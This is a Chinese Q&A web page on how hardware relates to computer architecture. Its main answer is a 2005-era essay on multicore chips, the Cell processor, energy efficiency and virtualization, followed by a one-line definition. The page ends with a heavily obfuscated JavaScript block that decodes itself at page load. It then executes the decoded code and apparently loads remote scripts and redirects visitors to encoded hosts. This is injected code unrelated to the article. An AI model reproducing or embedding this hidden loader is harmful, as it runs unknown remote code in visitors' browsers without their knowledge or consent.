硬件与计算机体系结构的关系

2025-02-25 20:45:11
推荐回答(2个)
回答1:

导读】多核和Cell等新型处理结构的出现不仅是处理器架构历史上具有里程碑式的事件,对传统以来的计算模式和计算机体系架构也是一种颠覆

智能革新

2005年,一系列具有深远影响的计算机体系结构被曝光,有可能为未来十年的计算机体系结构奠定根本性的基础,至少为处理器乃至整个计算机体系结构做出了象征性指引。我们看到,随着计算密度的提高,处理器和计算机性能的衡量标准和方式在发生变化,从应用的角度讲,讲究移动和偏向性能两者已经找到了最令人满意的结合点,并且有可能引爆手持设备的急剧膨胀。尽管现在手持设备也相对普及,但是在计算能力、可扩展性以及能耗上,完全起步到一台手持设备应该具备的作用;另一方面,讲究性能的服务器端和桌面端,开始考虑减少电力消耗赶上节约型社会的大潮流。

本来,这些都应该是此前十年要意识到并解决的问题,却恰恰被高速增长的喜悦淹没,片面追求性能和技术细节简直就带来了一场灾难。电脑到目前为止并没有变得更为方便好用,反而由于可用的层面更广,人们依旧无所适从。现在很多人意识到,必须从硬件设计上就具备某些功能,比如自主的电脑系统管理、编译器层面的多任务分配和通过虚拟或者其他技术实现的各个用户、网络、设备的有效隔离和管理,防止病毒过快扩张从而有效降低IT的维护成本和费用。

未来十年内最会被关注的系统架构大迁移,乃是Cell引领了完全可扩展的架构模式。尽管SONY的初衷可能是生产一个能强悍的游戏机处理器,IBM和东芝却有更深远的打算,它可以从大型机、服务器一直到手机维持统一的架构,需要改变的仅仅是频率、内核数量等等相关参数,从而在开发的时候能够具备在一个机器上开发,在所有机器上运行的可能。尽管其中可能因为种种原因,比如操作系统的不同,无法实现完全的代码共享,但实现代码的二进制共享是完全可能的。由此意味着,使用Cell的手机完全可以与相应的服务器进行直接沟通和资源共享,从而把这些小资源集合成为一个庞大的计算资源,在成就与否定自己的过程中实现资源的最大化利用。在这个资源体系之中,每个资源节点可能是微不足道的,但是每个节点的运算都可能被整个资源库无穷放大,从而构成一个完整的Cell网络。

Cell本身适应这种变化,同样也是它自己创造了这种变化。因而从它开始就强调了不一样的设计风格,除了能够很好地进行多倍扩展外,处理器内部的SPU(Synergistic Processor Unit协同处理单元)具有很好的扩展性,因而可以同时面对通用和专用的处理,实现处理资源的灵活重构。也就意味着,通过适当的软件控制,Cell能应付多种类型的处理任务,同时还能够精简设计的复杂程度。

但是,仅仅有这些并不足以让一台电脑更为人性化,电脑的活动需要人多量的干预,不足以抵消它在性能上的进步,“它”没有更体贴人来自电脑无法感知自己本身。下一步需要做的是,让电脑有“感觉”,这样会消耗多量的计算资源,当然也会让电脑真的能够应对一些需求的时候,变得更为简单和方便。

这里说到的“感知”乃是一些软件的算法搭配硬件,实现对基本线条及其造型的判断,从而达到更为智能的目的。比如说,目前还无法对图像进行有意义的搜索,用户无法通过一个图片的大概映像在浩如烟海的图片库中找到自己想要的。而这些图片往往应为数量巨大没有进行标注,查找就是很麻烦的事情,现在Intel和一家公司正在研究可以进行图片搜索的软件,如果真的能够判断线条组合的话,将是计算机史上的一大飞跃,这就意味着,电脑真的能够学习了,在IDF Fall2005上,Intel展示了这个软件的初潜功能。

让机器具备识别线条及其组合的几何形状的能力估计将成为人工智能的分水岭,而机器获得的可学习能力将大大扩展他们的用途,一些简单的机器活动将不需要人的参与指挥,这就是图像搜索研究可能带给人们的巨大收益。

机器能自我感知还包含一台互联状态下的电脑,能够清楚互联机器的位置和具体属性。通过信号到达的时间差确定分布,如果进行严格的距离限制,对像Wi-Fi这样的无线信号的跨区域保密,就不再是一个难题,超过距离的请求不回应即可,大大减轻了人们在保密算法上的投资压力。

可以发现,技术正变得更为人性化,正朝着人们想要的方向前进,解决了上述问题,也将为电脑的未来增长提供持续的强大动力。2005年对IT而言值得纪念的事情乃是PC经历过很长时间的徘徊停滞之后,将冲破2亿台年销量的大关,这是像Intel这种注意大量前期投资的公司为什么继续投入的根本原因。

节能是主题

节能的思考方式,将决定系统架构中占据重要位置的处理器设计,这意味着晶体管数量消耗较小的RISC架构还将占据主流位置。现在Intel处理器的设计,借用了RISC的思想,不过为了保证与以前硬件的相互兼容,处理器变得过于复杂。

在绝对能耗和计算密度增加的时候,节能的处理器设计拥有更大的现实意义。可以提供更大计算密度,同样体积的刀片服务器中能够支持更多处理器,从而让更高性能的群集计算成为可能。现在,一些考虑甚至更为细节化,技术有可能让节约任何有用资源成为可能,Intel甚至展示了一款处理器原型,把电源调整的模块做到了处理器上,以适应高速处理器快速频率变换在电源需求特性上的不一样,同时还能够节约主板空间,把电源模块腾出来就有可能实现更大的计算密度或者更完善的散热措施。

节能也让集成化的思考进入更主流视野。这也是“后频率”时代对片面追求频率而不顾及其他的直接回应,有些部件的集成不仅有利于整个系统的性能提升,也有利于能耗的大大节省。比如像处理器内置内存控制器的做法的确非常好,但是还不够,如果能够把图形芯片和内存控制都集成在处理器内,那样才更有节能价值。这恐怕对那些唯性能论的人不是一个好消息,却绝对是未来笔记本电脑和掌上设备的发展方向。尤其是对于寸土寸金的掌上电脑来说,这种集成更是求之不得。另外,对于多核处理器,需要更为细致的安排,让每个处理器拥有自己的独立访问内存的权利并且能够直接进行信息交流,同样会让处理器的等待时间缩小,从而提高处理器单位能耗的性能表现。

把能耗考虑进去并且通过单位能耗的性能增量看作新的衡量指标,有利于高效率的流水线设计。Pentium 4的超长流水线除了能够带来相应的频率提高外,还意味着处理一个任务的时候,开关的晶体管将要比流水线短的处理器更多,从而意味着更多的能量消耗。

未来以移动平台为核心的处理器系列,将使用更短的流水线,以提供更为合理的能耗。并且,当频率过高的时候,晶体管的泄漏电流将成为处理器功耗的主要来源,那就意味着,未来性能的提升将仰赖处理器的多核安排模式。

还需要注意到,软件对硬件的利用同样左右处理器或者整个电脑系统的功耗。尽管我们的假想对像是个人桌面运算系统,这种概念同样适用于服务器以至更广阔的领域。但是不通过细致的电脑管理工具和与底层相关的一些东西紧密结合起来,比如BIOS、操作系统这个层面的理解和配合,大概是无法实现资源的合理调配,也就无法实现真正的节能。从这个意义上来说,软件和硬件已经变得更相互依赖,尤其是需要提供一些高级特性的时候,这种相互交叉变得不可避免。另外,软件提供合理优秀的算法渐渐被人淡忘,现在开发人员更多通过硬件上的努力抵消软件编制的幼稚,同时开发人员需要代码更好的可读性,也削弱了他们进行优化的积极性。这对节能同样不利,合理、“聪明”的编译器应该是最后能有所作为的防线,但是它的意义会很有限。处理器开发商需要提供更为完善的编译器,能够更为合理地调配资源成为其中的关键。尤其是在多核处理器逐渐深入人心的时候,对任务的调配就不仅仅应该操作系统层面上的事情,需要上升到系统架构的层面,打通各种环节才有可能实现,否则任何所谓的技术图景在现实中都将是那样苍白无力。

多核处理器到来之后,还将面临一些实际问题。一些没有经过并行编程的应用是无法充分享受到多核处理器的好处的,并且,多核处理器本身有一些需要软件编写人员注意的事项,需要他们在编写软件的时候尽量避免某些可能导致拥塞的事情发生,否则,效率将成为空话。这让并行编程的难度远远高于传统的模式,何况一些软件分成几个部分变成的难度差异很大,如何解决桌面双核利用率不高的问题也是重点之一。总不可能要求用户同时打开数个任务一块跑,那样有可能会有些效果,却不是一个用户愿意听到和看到的。那样就需要提供一个完善的编译器机制,按照合适的分配法则进行资源请求的分配,以实现硬件设备的完善利用,而不能仅仅依靠操作系统层面上的任务分配方式,那样对双核处理器系统的推广是相当不利的。

即便是针对服务器平台,这样的中间件也是很有价值的,那样可以大大减弱多处理器平台对软件特性的依赖,开发人员也不不要考虑那么详细,对结果影响不大。估计这是未来一段时间内很多人思考的新空间,尤其是针对像OpenGL这种调用,整个程序封装很严密的时候,这种拆散机制将会成为灵活利用资源的超级工具被人们广泛利用。可能没有特意编制的软件效率那么高,但却符合PC用户的需求,在高端软件都平民化的时候,这尤其重要。

核心还是虚拟化
多核出现的意义还在于可以有资源用来虚拟化,可以实现更有意思的功能搭配。因此,无论是服务器还是桌面运算系统,在虚拟化这个方向还将走得更远,并且像HDTV这样的数字内容逐步

走向家庭,家用PC的角色将大大转变,除了目前所进行的一些任务外,还需要考虑到这么大容量的内容存储和检索,将成为家用PC的一个重要角色,家用PC也在向家用服务器转移。

但是在这一点上,家用PC将受到像游戏机这样平台的挑战。它们功能相对单一,操作系统和软件相对固定,虽然用户能够参与其中的概率比较小,却可以保证一个相对稳定的工作平台,从而成为家庭信赖和依靠的伙伴。这种单功能的简化产品并无意味着功能的简单化,而是把一部分很需要的功能从电脑里拿出来,进行大大强化从而形成一个独特的产品。

虽然游戏机以前可能不会成为电脑的竞争对手,但是在它们进行拓展之后呈现了明显的这种与电脑试比高的形势,最重要的是它的消费更关注软件层面上的相互衔接和搭配,而不像现在PC抑或是一些中低端的服务器,软件和硬件的搭配不是那么紧密,它们其中的缝隙就有可能成为游戏机的生存空间。尤其是家庭服务器到来的时候,相互直接竞争的关系居然日益明显,像索尼和微软都宣称他们的游戏机不仅仅是游戏机,而是拥有更为广泛而且深刻的含义。

多核和虚拟化也正是应对家庭中家用PC的边缘化成为服务器这一趋势而做。以显示这种视频输出为中心和以家用服务器(姑且称之)为交换中心的格局正在逐渐形成,家用服务器将关联所有能够联系的数字设备从而成为数字家庭的HUB,存储重要的数字内容,而它的具体性能和运算将通过HDTV以及手持设备进行展现。上升到这个层面,虚拟化不仅将成为管理电脑的强大工具,还将成为关联各种设备很重要的手段。

另外,针对家用服务器所处的地位和它的服务内容,存储和网络连接将是家庭服务器很重要的考核量。为了充分利用处理器资源,将它们进行虚拟划分以及I/O层面的虚拟化,都将像目前的服务器领域那样具有现实意义。同时,正是这种角色转变,才让虚拟化更加可以深入人心地被充分利用和管理,或许,当虚拟化成为常量的时候,家用PC不向家用服务器转移也是不太可能的事情,否则,驱动家用PC增长的后驱力将会非常弱。

对系统架构而言,需要考虑更多的系统吞吐量,处理器将变得更具备吞吐能力的HUB,而不能仰赖北桥芯片,那样效率低而且也不利于成本和能耗的降低。处理器内部集成内存和I/O控制器乃是时代的必须,绝对不是技术恩怨所能把握和左右的。

处理器向更大容量的2级缓存也是必须。当作为家庭服务器之后,数据的转移交换和解码编码将成为桌面运算平台的主要工作,尤其是这些工作需要同时进行的时候,2级缓存的优势将会体现出来。那些需要大量运算资源的编码、解码工作将会因为大量的2级缓存变得相对更容易。

一方面,随着生产工艺的提高,2级缓存自然水涨船高;另一方面,新的设计和任务需求需要这大量的缓存,缓存的大小还将继续成为处理器性能的分水岭。

多核架构之乱
现在的多核处理器设计呈现数种倾向。以AMD和IBM的HyperTransport派,可以实现分离缓存的高速共享和数据交换,处理器之间的通信也有直接的通道进行,因此可以通过分离的缓存实现很高的性能。同时因为各个处理器核心具有自己的访问内存机制,不相互干扰,在一些缓存相关性特别严重的应用中,它这种架构是很有优势的。所谓成也萧何,败也萧何,它这种架构具有明显的取向,HyperTransport作为它们传输干道,是分利于小数据块的连续传输,而对大数据块的传输表现一般。对于未来应用,均衡性不是很好,但可以肯定的是,商用性能断然奇佳。

Intel目前的Pentium D核心处理器太像一个模仿出来的产品,由于Pentium 4本身不具备处理器相互通信的机制并且处理器访问内存受到很多限制,这让它的双核处理器并不太成功。尤其是一些考虑数据相关性的应用,两个Cache之间的数据通信都将给总线带来无上压力,从而大大降低了因为多核带来的计算能力提高的好处。尤其是两个核进行通信的时候,双方都无法访问内存,设若某个软件的某个片断有大量的需要进行修改的数据,结果将是灾难性的。

随着移动平台技术迁移到桌面平台,在功耗和性能上达到新的高度之后,新系列的多核处理器还是很值得关注,但是如果Intel不继续改善处理器系统的I/O性能,所能够得到的好处还将因为I/O等待而散失殆尽。尤其是未来10年内,数字内容的爆炸式增长将对处理器的I/O提出严峻挑战,尤其是多核的系统更应该在这方面多花功夫才是正道。

Cell很独特,有一个主控处理器进行资源分配和负载平衡。其他8个协同处理单元具有很大自主性,因而可以很容易分配到各个运算流水线中去,构成相对独立而又相关联的结构。虽然每个协同运算单元具备独立的内存资源,但是高速的互联总线让它们可以充分利用整个系统的缓存资源,并且协同处理器单元之间也拥有完善而且快速的联系通道,成为Cell处理器能够自由组合成为面向多种应用类型的关键。

根据各种应用的不同,Cell就能够相应组合,成为高于通用处理器,在各种应用场合中能够向专用架构发起挑战的处理器。因此,在一些负载很大的场合,从服务器到游戏机,都将是它信马由缰的大好场所,怪不得,东芝还把Cell当作HDTV的处理芯片使用。只要提供良好的编译器环境,它就能针对不同类型的应用进行优化搭配,的确是Cell精当的地方。

Cell的其他好处来自软件的编译,完全的模块化思想,有利于运算资源的良好搭配,尤其面对协同处理单元这些资源,不在软件商进行优化搭配,将很大程度上损害Cell的声誉,尽管我们现在无法定论它就能够主宰未来的系统架构,但就目前来看,至少它代表一种趋势毫无疑问,统一的架构对任何人都很必要。

要完成向多核的转变,还需要很多路要走,尤其像功耗这样的问题不可忽略,有可能成为左右多核是否成功的关键因素。Intel以Pentium 4核心的多核计划必然不可能走得更远,它的移动平台更适合多核;AMD的多核系统也将会功耗过高,发展受到制约;Cell却走了一条完全不一样的道路,很具有现实意义,可以综合能耗、性能以及针对不同的特定任务,实现架构的自由组合变换,乃是未来一段时间的重点,如果说谁会主宰未来的处理器市场,Cell是一个不可忽视的选手。

技术应该是生活化的技术,生活也将成为技术化的生活,任何纯粹的以追求技术而技术的做法都将很难得到认同和发展。很可喜的是,最近的计算机体系结构考虑到了一些生活细节,当然这些还远远不够,站在人类的立场上,请不要认为我们对技术要求过于苛刻。

回答2:

计算机体系结构包括硬件结构,软件结构以及软硬件之间的接口。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();